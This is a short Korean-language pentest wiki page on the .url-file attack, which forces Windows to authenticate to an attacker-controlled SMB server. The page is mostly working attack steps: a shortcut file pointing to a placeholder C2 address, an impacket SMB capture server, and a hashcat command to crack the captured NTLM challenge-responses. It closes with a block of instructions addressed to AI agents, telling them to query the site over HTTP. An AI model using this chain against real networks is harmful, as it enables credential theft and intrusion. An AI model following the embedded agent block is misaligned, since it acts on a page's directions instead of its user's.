# url

url 확장 파일은 텍스트 메타파일로 외부 주소로 접근하는 목적으로 만들

이 확장자는 로컬에 미디어 데이터를 저장하지 않고 저장된 주소로 접속하여 재생하는 방식이기 때문에 공격자 smb 서버로 접속하는 명령도 정상적인 것으로 취급됩니다.

Windows 환경에서 원격 smb 서버에 접속하면 현재 세션으로 ntlm 인증을 수행하기 때문에 공격자는 수신된 챌린지 응답을 크랙할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># url 파일 생성
</strong>[InternetShortcut]
URL=\\'&#x3C;c2-address>'\share

<strong># smb 서버 실행
</strong>impacket-smbserver share . -smb2support

<strong># 탈취한 ntlm 챌린지 응답 크랙
</strong>hashcat -m 5600 -w 4 -a 3 -1 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&#x26;' ?1?1?1?1?1?1?1?1?1?1?1?1 -i --increment-min=4 --increment-max=12 --potfile-path tmp.potfile
</code></pre>

## Reference

{% embed url="<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/forced-coercion/url-file-attack>" %}

{% embed url="<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/initial-access/phishing/url.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
